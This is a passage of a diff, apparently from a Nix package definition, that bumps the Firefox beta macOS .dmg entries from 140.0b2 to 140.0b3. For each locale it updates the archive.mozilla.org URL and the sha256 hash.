       locale = "ca";
       arch = "mac";
-      sha256 = "a4cd0c1f124a8997182dbdccaee61f03d688e10c2c9f4f46076ef62c88bc2ebc";
+      sha256 = "018db90dfb122a6623398aec698eb8b75d242da2d1f04c16dc1e8c61b3b7729e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/cak/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/cak/Firefox%20140.0b3.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "ba76bb6afbbb6f72538d1a0b50d5f95cd2a14421a321ae013984ee880017031b";
+      sha256 = "ac8c6b24f2dd76d4afc789404737c9cf86a4b12a86b9a72e8ae6522459af8f2d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/cs/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/cs/Firefox%20140.0b3.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "005862a68ec16e926e9e888a73fa27314da31519e38ce0fd6656ad924b6c296c";
+      sha256 = "cae8956a1b6be0bcc22d406eef7a1d27012e31dcbd3340b03c8ccd923ec43d64";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/cy/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/cy/Firefox%20140.0b3.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "d71f2f3f678b5289023089482107772a448848db26e75908e8cde58087aaf1d1";
+      sha256 = "a3bc30cc4d9109bda4ee5cda25a7563fbf6251e2a8bdb85c9921ec2ae7b67581";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/da/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/da/Firefox%20140.0b3.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "a2ca0b54a7324acc16e9d2ee6831e3bf25cabf36e1f4ec69c4034795c1519185";
+      sha256 = "5519c55dd95147ba7924d7eaf64f43672b3e5d0af3c356215e1f4f3a9b8384e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/de/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/de/Firefox%20140.0b3.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "24cbff457b1bdba5c44a473f7d65e247727df35a28ece5ab2b685a92f24cb4db";
+      sha256 = "a449db92f8e9238184aca1afa2714ead4eee5c957d8064b85a06ee28ae71ebe5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/dsb/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/dsb/Firefox%20140.0b3.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "0af7cec5144e91bd7c42b3ac6e1bf1b73724853e0c0a67b4d1800aa5a7ef9218";
+      sha256 = "08d0480a1ef2a1fb17eb48369fd4fa9d0ec5a9a53346822a7e8ebf160e7eb3b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/el/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/el/Firefox%20140.0b3.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "4fe53f17a96dcaa91ae4e630222a8311c4b63c8d627ba7fecafab3cb66ae8bc8";
+      sha256 = "84b4fd07308ea4fae6c0293d54e6d98482d65e72c3e832732676424c0d959c62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/en-CA/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/en-CA/Firefox%20140.0b3.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "5671afd041943c805d0115bb235636c656966b79b37b8ff622318b08dc66f23d";
+      sha256 = "e887c18a43b67075de0950fbee2ceab00d3dec82c7581921daa61291fd9a1f15";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/en-GB/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/en-GB/Firefox%20140.0b3.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "27899bd86fe738877c78e9c95dfed10f84f1d99865caf1c8e377a285f7539742";
+      sha256 = "e7eb6732d1e971838d7cd2aa953fad9a60fa40bab42f0d0fb5777a7c6ba93099";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/en-US/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/en-US/Firefox%20140.0b3.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "e60b906321e4e8f6479d87e02314fdf804e3b461028f8d70552d88911a693a0e";
+      sha256 = "81e8db159fff06cc947413698ed7e1a28cfde271ab4758844f25ce42d4b04699";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/eo/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/eo/Firefox%20140.0b3.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "e5513b3584e0e07ab2efbbc3b1acb531cd19fe88decc460fdef0b8bab1ba45ec";
+      sha256 = "dc6152d2c34ba3c831bfc0059393e3688ba1bc7c6bce7fd7667b5429dc34d4f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/es-AR/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/es-AR/Firefox%20140.0b3.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "e70de7f34a08c75c8ca81e041033fda21f8af581f30705ccd1708666a69ed993";
+      sha256 = "ff2cc539f933981687541f36aa33c9c0f50fe024a570ad5ef956a848c1d03986";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/es-CL/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/es-CL/Firefox%20140.0b3.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "f93f379e3953b56cf32f1e7d71df9fd6d0e898a41cb10c1af8fb0c83fd953c64";
+      sha256 = "2ee8c11f6cc821e7b5cf04a8171031efcc035b319ef668f05e1219cfeaae06de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/es-ES/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/es-ES/Firefox%20140.0b3.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "d7275c44b957fe378e949d0c47f8eba8792b5cbc0bacfaa98a4f26795c0f4bef";
+      sha256 = "9cccd63e810c6dc2485c819c9ca575d071d278c25d303c7e06644f3f1afd8b4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/es-MX/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/es-MX/Firefox%20140.0b3.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "529a01a430b6fd03e8de52f7fad75243d53fd042d39dba676b285156f7279a89";
+      sha256 = "5f16013792bab14181e8d945e63b28cac4ad2d449001b4013d37719f1185cd29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/et/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/et/Firefox%20140.0b3.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "c4e67c20198d278dc784212f765c638f25137d3654ccb3cdb49564c599a0d074";
+      sha256 = "b8353d19f3e7db6828d8f9c525af0493912b7e7fef0edf4376c49804fbf16f17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/eu/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/eu/Firefox%20140.0b3.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "5a2cdbf4aef80735073adf761ca7ebeafee4ec68868c1b19580dc0a3d73d3d4c";
+      sha256 = "4c5c47c1a5985c1bf4fa1a377cf8e35eb9942fd6c1d9fe9b62e1ba4a69d81911";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fa/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fa/Firefox%20140.0b3.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "57e1d9990fbc724eca8b9bc3f2bd8b2b63c30d99788859d4cdf6c94104dc0713";
+      sha256 = "3ee414921a5d45ddea0ac1426a41e97ccfdbb01524fe1f56dd29a39cbf239fc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ff/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ff/Firefox%20140.0b3.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "2b5bcf6057d17ef408cdcb198198d67a9f27a0bea5f3bc682a167d958b2bbf54";
+      sha256 = "e0fb0c4432c152102cbba9478661870d9c6ca704b9b1b712287f07f13ee53f85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fi/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fi/Firefox%20140.0b3.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "392ce242ddef92bf02dff3f7ce26f7dfc5358a259a3679ebc2333294650e91cb";
+      sha256 = "fd4d87e350a76e4b27a1a7137372776878b079f61fa8652372edfe274082fffc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fr/Firefox%20140.0b3.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "c07d5671bef18729205554a881e2055c2d4af04c1109210ba8ea5b5e33c0c553";
+      sha256 = "bef5925b6ccbb6540fb223042acce4613f7f51a937f7d9214313521b16920978";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fur/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fur/Firefox%20140.0b3.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "baeb0ab73c5b288c67fb87a57f9b3866071051e7e04e68c9f554b30640aa988f";
+      sha256 = "ba7b39bced83e20ac07b045cc0f34bfd6635a211309441c6133c86907742bc13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fy-NL/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fy-NL/Firefox%20140.0b3.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "57d0713b6c1eca3460bbeb1f9cc6a769db2bb01036054a5538cca93c6fbb5225";
+      sha256 = "c691224f862a2ba7306bbf30252c6c69dfa9317d251d025c07c69e5bb8362ed8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ga-IE/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ga-IE/Firefox%20140.0b3.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "82fd3bf162cf641549c2a98fe88393d3caa1a41ebdd9fef15e3aff278b24cf5f";
+      sha256 = "2c0aa58a2950d25e376e2850b91cde4d14e3d1fc346f79e87e0dfe514002f0a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/gd/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/gd/Firefox%20140.0b3.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "b15a9124f3c4a138adaf497109467d242b7eb706f7ba904c53e9073fa5b40068";
+      sha256 = "92ac30054f35f414d8c1c9d4f5da9c47d45e7276c81399526fcf3025f16f7e7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/gl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/gl/Firefox%20140.0b3.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "be63b8dabc4673022dd0c69577d202efea303ef3d9204bebbe86b09c80913602";
+      sha256 = "bbbfad7dab740d3ed8de731dedfd6e490a5e67a2015bda75b453f4505f0d3e21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/gn/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/gn/Firefox%20140.0b3.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "0fd5f6cf33ea00c65c1e37c2b5b27e6e28b1e804f873ed2a81862639697fb6da";
+      sha256 = "052f306c7cb17c95f31e433b609126639952699974da2cae143b21fe84fc805b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/gu-IN/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/gu-IN/Firefox%20140.0b3.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "a72071f5897b9de30fe23ab448751d88b0943a1ce12bbac525fc25e0d06ca824";
+      sha256 = "1dd713964bdbf17f6475e54ff32c3742e3c1637444695e0c61100f21fbdad168";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/he/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/he/Firefox%20140.0b3.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "8f5873c677ffa3bf8f3c03c1cdd56c9d532f5576b1d45e3eaddc4ca63a4c84d7";
+      sha256 = "2f36e822da58f09ec8f2d18c2de8cc33b4208db066aaf3753dca426f121a8108";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hi-IN/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hi-IN/Firefox%20140.0b3.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "ef2a4cb4a0822afd273713265b2bd12199cd5754876205435a996af6bd08e7db";
+      sha256 = "6fc182be1a8a96dd5a5dab5edf9bcd6272709f5954c0b97fc6f0390f56fe5ac2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hr/Firefox%20140.0b3.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "19f7a517502a8cf46cb802fd428688b2f9733a4b29c6bd69ffb42ead7078c823";
+      sha256 = "51146afa8f1a8c7c04f0b8e629f1dfad49622c024df2380af012f5b9466e0c21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hsb/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hsb/Firefox%20140.0b3.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "43b7bed183606c1ea212fde9cd996ec7b0c227e2e827ca7f0ac11a11a46c1f46";
+      sha256 = "a5ace3b21b9ecc94fb5449f38e70d463cbace509a240062985a5a0ad1f6dab33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hu/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hu/Firefox%20140.0b3.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "97998fce9f91f25ae8354c274cd0a8e29145935163e1b0d723818d939bfe0434";
+      sha256 = "d67467bf4cc780c6aa8ead5dc362b88a4e1839fdcd4e059c94c53ec851a711be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hy-AM/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hy-AM/Firefox%20140.0b3.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "26fdba87a2584afba336c3e388abf0bcaf75352694415954644b3300a482fd88";
+      sha256 = "6a3c5095e3402fac2eb4d4b39b605312e723e608510c0417f278a393af12bf51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ia/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ia/Firefox%20140.0b3.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "a714bf43aa173d5d4ef29ee5e406f09fe137ab1d9a311299604dbd6a63653238";
+      sha256 = "bf271c5ece7ee47055fbc6eb8d34fa9736afa4e7408f7345ef352d4ed2d0a4d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/id/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/id/Firefox%20140.0b3.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "883a1081b0a0bb03fbf5ab735520b241f9f6d46f05ff7492750223ba1388bfde";
+      sha256 = "41301f061f84a594cbfc28dcbd87aa9bc714a384ee41f4b766186d17c8207b9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/is/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/is/Firefox%20140.0b3.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "411ac5c44cca622d542e568ead74f6192c4dfe717ac16863554b1d6da11755c5";
+      sha256 = "27592a8d3eef8a9d252927f64fba236cf6b7d420eb1e3f5501b6efa366f79691";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/it/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/it/Firefox%20140.0b3.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "fb088f8cdcaf8ea9aced69ca2892fb776dcf48b746f0abef6975e99854c55a79";
+      sha256 = "20e01876b7a2eda3a586bbd658d04672e400e2c0207083620a2ea2910b71a9f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ja-JP-mac/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ja-JP-mac/Firefox%20140.0b3.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "9258d8f492c8c64695af53960fcdbeee60a6bb82a37d71abc77abe1002f98f09";
+      sha256 = "a140e19cb6c43f334d416494e3faf181c3c3d09933b25e8bea3d8671c768e384";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ka/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ka/Firefox%20140.0b3.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "0f486c5bbcc0af6a9bdb4e1b706c303501284848d3fcfd4000c1bfca71bc0300";
+      sha256 = "75eaf79b48b1b2640cdf39c4b75b4c6f44c69ea289909bb6a85392e40a7023dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/kab/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/kab/Firefox%20140.0b3.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "ccbda4ad3d59661a897a1b47ac77e0c48144802575f6740aec95d788227e1028";
+      sha256 = "076aea0ff89b228814d74860b3139a8694c5b660a09f000c07bf7925b15f0a5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/kk/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/kk/Firefox%20140.0b3.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "e55c667813ee5b15f79c5d623cb33eebd1eec5ac4d57f2a8bb9c3466794b746d";
+      sha256 = "9852eddf1ab5078e8dff92699ecebff9d7fa7e4466de87ba090e5d71e4415b57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/km/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/km/Firefox%20140.0b3.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "5774f04b93c6863b27514a2eae504bcfc1ef8ccfc068a953e4d3e270dedf7b93";
+      sha256 = "860b3a552f2f47b1188e1f77da82a1805af2437c43b2b6b9a6b600cd36681136";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/kn/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/kn/Firefox%20140.0b3.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "7c376799a36ce1cd8f89798ebdd777f7886a99693c5f98729684252d340ba2d4";
+      sha256 = "8d85e36fb0c36243f6c97e8211fa92b16da0e3afbe3a91ebec3baf10546fe938";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ko/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ko/Firefox%20140.0b3.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "5f3d2829512178f393b9a665ebeea9cf4f18e9afa042839b7f53e2b620c5db8e";
+      sha256 = "7bfbba2a109c1494dab5e65e67490280d66c2a6a6b739641e2b78ffff8d81276";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/lij/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/lij/Firefox%20140.0b3.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "30ec59741eb1324d18f995d1b94fe5928421002bfc0d8876cfff257148eda97e";
+      sha256 = "bc752a6c3416a2e60365931d1363e87a432e3f7cf4ec1be8d24bd26eeda5cf6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/lt/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/lt/Firefox%20140.0b3.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "0fe2982d361f6beffd4d61f55fd81843943a9fb4daeb1c2df872191cb1bc6a17";
+      sha256 = "148ed3dae888edfbe5c8a7c47431fd1ec0477af9d56e7e2d519abb50dd940002";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/lv/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/lv/Firefox%20140.0b3.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "7914c9bcf07701a2978c0ff417e14a23078ae2cd6ec6315b4be8979ab09e9823";
+      sha256 = "14a68b53617eaf2d1e78ad934e1c927c8dfec155e0f239289d262073664365c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/mk/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/mk/Firefox%20140.0b3.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "244798bc32bd4429eb230b4aa7d7a6192c5456cb95faee5bf66f09ad8013517b";
+      sha256 = "e1695c52a02f2b051de16ab2b7952895bfed6b23b6e440ae308daf31ae6f3580";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/mr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/mr/Firefox%20140.0b3.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "67a2d6ce2ac921d47d01ef7cee9543014eeb4f2db0394ba3b459114b5e65c23d";
+      sha256 = "464bdb5629c5da032248eaedf583c6d2c14654b8e2f919d06edc9a1fd429246c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ms/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ms/Firefox%20140.0b3.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "d74083626dfccd8d628ef0326ff7f2865cad8c0c32aada246d4cbd9edd6cdefa";
+      sha256 = "d65005ab7af62c83662a07aaeb7d4d57e07ee81a0c9db7e87fe2fa1620260434";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/my/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/my/Firefox%20140.0b3.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "61a501809b50a3006a362eeb76f3c4d49bad778cee9fe35b6dd072c53e7be210";
+      sha256 = "5d39e9cbdab4e72fb66df452ab1de1dec8d7e6f29fb4f2d1c562efacc5d2c691";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/nb-NO/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/nb-NO/Firefox%20140.0b3.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "7b1fbd6ed0aaa7865997be627bc7c89622f872c2c5c7725393620404bb6660c5";
+      sha256 = "e56923023c4fe6fc25731dbf551f21f9636bcc6d1a8359e2121a6589c4db5ab2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ne-NP/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ne-NP/Firefox%20140.0b3.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "e16d0769328870f6b964ffc209b6c0b2cdfa015a83ef1b7744cedbaf91f7ed29";
+      sha256 = "31c9d56a2776ebe63eacf955e46df7065b3e97f99f554fdb1a627767b1324f62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/nl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/nl/Firefox%20140.0b3.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "92bade0cb93b3aa2bafee685b671f4284144f554a3910fe6c3d125a58fd1c830";
+      sha256 = "b5541303b09157e6979f5368c2840c51dab29ff841f02b9dc0bee9813a918060";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/nn-NO/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/nn-NO/Firefox%20140.0b3.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "0ee61fda7d45de9c3a85a88514aef5fa2d7ef9c33e839657257da3804c33e488";
+      sha256 = "7fb516ececa5f586536f8811490b7e71e1e5af25d5884d70334d6f403ee0f362";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/oc/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/oc/Firefox%20140.0b3.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "9b549cec47785c84ed77694f21efa1c8a39eecb76bddfa191e43e54ebd798adf";
+      sha256 = "a55a0693d6b7f39053db3741befbc445c820ca547f42b7c295971d81a795b152";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/pa-IN/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/pa-IN/Firefox%20140.0b3.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "271b013e5388416b2d0956b72d68191cd51857d0ab92595a2ff2f7a0aad95462";
+      sha256 = "6689f4363099fbd3a01f809b1439554ca08f0f404ff8a769e45ef84c1f404666";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/pl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/pl/Firefox%20140.0b3.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "04554a10737ed4c2862a3b9e20c82de6e22b6053a55e4ef34b62bc977a8e1ef3";
+      sha256 = "c084fd8619af8ea6c72d7cd44bb20a9d4f058d3dc082fab5f868e48671d1aac2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/pt-BR/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/pt-BR/Firefox%20140.0b3.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "cf56901b76d04c7ed54827e07d11ef8556cabaf7fc9657b83fbc3d86b051a104";
+      sha256 = "2291d282eaa74bdfb225d2f48e968eed1a48808bb6a7eb08290f6e7889a02036";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/pt-PT/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/pt-PT/Firefox%20140.0b3.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "07d160fbc743da7aff2f3501c4861abb300d509549ad46d8230a298f62e57b99";
+      sha256 = "2dff246a5a5cedfa71b5d22fb7db891bf27e8835970ac21adeaecf73a384835f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/rm/Firefox%20140.0b2.dmg";
